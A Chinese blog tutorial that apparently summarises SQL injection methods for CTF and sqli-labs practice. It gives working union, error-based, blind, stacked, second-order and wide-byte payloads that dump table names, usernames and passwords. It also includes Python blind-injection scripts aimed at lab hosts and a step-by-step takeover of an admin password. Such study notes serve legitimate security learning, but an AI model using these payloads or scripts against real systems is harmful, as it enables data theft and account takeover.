SQL注入总结

目录

初步判断

判断注入列数

union 联合判断

order by判断

nuion联合注入

 报错注入 

盲注

布尔盲注

时间盲注

二次注入

 堆叠注入

宽字节注入


初步判断

首先判断是否存在注入点

id=1/2/3

有不同说明参数已经被带入sql语句中执行了

其次判断注入类型

URL为getc的注入传参

?id=1 and 1--+

?id=1 and 0--+

 若有不同回显说明是数字型,若没有考虑字符型

?id=1' and 0--+

?id=1' and 1--+

 注入一般为数字型和字符型

传参一般为get或者post

判断注入列数

union 联合判断

?id=-1 union select 1,2,3....--+

 正常回显为可注入,报错就是超了

 一个一个尝试就可以得到表格列数

order by判断

 ?id=1 order by n    #n为任意正整数

 

 超出列数同样报错


nuion联合注入

知道列数就可以开始用union注入

爆库名

?id=-1 union select 1,2,database()--+ 

爆表名

 ?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

 爆字段名

  ?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_name="users" [and table_schema=database()]--+

 爆值

 ?id=-1 union select 1,2,group_concat(id,password,username)from users--+


 报错注入 

报错注入要在有报错且注入内容有显示的情况下使用

 报错注入是要判断真值的所以要加上逻辑连接符号(and,or) 

?id=1 and extractvalue(1,concat(0x5c,(select database()),0x5c))--+

?id=-1 or extractvalue(1,concat(0x5c,(select database()),0x5c))--+

 爆表名

 ?id=1 and extractvalue(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c))--+

 爆字段名

 ?id=1 and extractvalue(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name="users"),0x5c))--+

 爆值

 因为extractvalue返回的只有32位所以要用到mid函数得到后续的内容

 ?id=1 and extractvalue(1,concat(0x5c,(mid((select group_concat(id,username,password)from users),64,31)),0x5c))--+

 此外还有updatexml报错注入

爆数据库名

?id=1 and updatexml(1,concat(0x5c,database(),0x5c),1)--+

爆表名

?id=1 and updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)--+

爆字段名

?id=1 and updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name="users"),0x5c),1)--+

爆值

?id=1 and updatexml(1,concat(0x5c,(select group_concat(id,username,password)from users),0x5c),1)--+

 updatexml同样只回显32位


盲注

布尔盲注

 当在注入无法返回数据库等内容但有报错页面和正常页面的跳转时就使用盲注

 盲猜数据库的长度和名,通过是否有报错回显来判断猜得正确与否

常用的函数有:

length()   判断长度用

ascii()      判断名称用

substr()   分割字符串

 具体用法自行百度

以下是自己写的脚本(可自行调试payload):

get传参:

import requests
import time
header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}  #伪装头
def find_number(cd):   #判断数据库长度
    for i in range(1,20):
        payload = " or length((select database()))=%d--+"
        T1=time.time()
        res = requests.post(url=url+payload%i,headers=header)
        T2=time.time()
        #if(T2-T1>=3):
        if(cd in res.text):
           print("数据库长度为:",i)

def find_all(cd,payload):
    name = ""
    for i in range(1,35):
        for j in range(31, 128):
            T1 = time.time()
            res = requests.post(url=url+payload%(i,j),headers=header)
            T2 = time.time()
            if cd in res.text:
            #if(T2-T1>=3):
                name += chr(j)
                print('所得值为: %s' % name)
                break
url="http://192.168.200.128/Less-5/?id=-1'"
#库名:
payload = " or ascii(substr(database() from %d for 1))=%d--+"
#表名:
#payload="/**/or/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d--+"
#列名:
#payload = "/**/or/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "/**/or/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"

condition="You are in....."#返回条件
find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名

 post传参:

import requests
import time
header = {
    'Host':'da41ba10-3ba9-4cfb-9326-e6f5276e4315.challenge.ctf.show',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded'
}  #伪装头
def find_number(cd):   #判断数据库长度
    for i in range(1,20):
        payload = "1' or length((select database()))=%d#"
        data = {"uname": payload%(i),
                "passwd": 123
                }
        T1=time.time()
        res = requests.post(url=url,data=data)
        T2=time.time()
        #if(T2-T1>=3):
        if(cd in res.text):
           print("数据库长度为:",i)
           return i#   #
def find_all(cd,payload):
    name = ""
    for i in range(1,35):
        for j in range(31, 128):
            data = {"uname": payload %(i,j),
                    "passwd": 123
                    }
            T1 = time.time()
            res = requests.post(url=url, data=data)
            T2 = time.time()
            if cd in res.text:
            #if(T2-T1>=3):
                name += chr(j)
                print('所得值为: %s' % name)
                break
url="http://192.168.200.128/Less-15/"
condition="flag"
#库名:
#payload = "?id=1' and if(ascii(substr(database() from %d for 1))=%d,sleep(3),1)#"
#表名:
payload="1'/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d#"
#列名:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users')from/**/%d/**/for/**/1))=%d--+"
#值:
#payload = "?id=1'/**/and/**/ascii(substr((select/**/group_concat(id,username,password)/**/from/**/users)from/**/%d/**/for/**/1))=%d--+"
find_number(condition)#爆数据库长度
find_all(condition,payload)#爆名

 例题:

 当判断为真的时候

?id=-1' or 1--+

 为假的时候

 发现之间多了一个

You are in...........

 故以此为判断真假标准放进脚本中

 后续改变一下payload就行了

时间盲注

 与报错盲注的思路差不多只是不会再有报错页面返回,这时候就可以利用返回的时间长短来判断是否判断正确

 运用time()时间戳和sleep()函数来实现

脚本同上,对判断条件进行修改即可


二次注入

二次注入类似于xss中的储存型

一般在一些登录页面且有注册口的网页实现

主要原理就是向数据库写入payload并保存,在登录的时候调用payload时执行实现注入

(1)后端(PHP)代码对语句进行了转义

(2)保存进数据库(mysql)时没有转义,是原语句

例:

 查看源码

 发现登录的username和password都被转义了,不能进行注入

在用户创建的地方也就进行了转义

 在pass_change中发现在修改密码时对用户名没有进行转义那么就可以使用二次注入

先创立的一个名为admin'#的用户,密码随便123456

在创建的时候会对admin'#进行转义不能注入但我们的目的不在这里注入而是把payload写入到数据库中,在数据保存的时候是原封不动的将输入的内容进行保存

 登录到新创的用户中进行密码修改,把密码改成1111111后

在后端在执行修改的时候会把" admin'# "后面的注释掉就成改admin的密码了

 最后就登录admin,输入密码1111111


 堆叠注入

堆叠注入要可以多条函数一起执行的情况,如存在mysql_multi_query函数等

 原理就是在找到注入点后在写payload的时候利用" ; "来写入多条语句

例子:

输入:

?id=1'; insert into users(id,username,password) values ('22','haha','321123')--+

 输入id=22

 说明成功创造了一个users内的用户了


宽字节注入

当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。在一般出现在数据库的编码为GBK的情况下

对注入的" ' "会被转码成 \' 这样就会转义掉'使其失去作用反斜杠在GBK编码下为%5c

绕过方法:

写成1%df'这样,'在转成\'\的编码与前面的编码接一起成1%df%5c'而已%df%5c是中文字"連"这样就是1連'实现绕过

注意: 有时候%df不行可以直接使用�

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值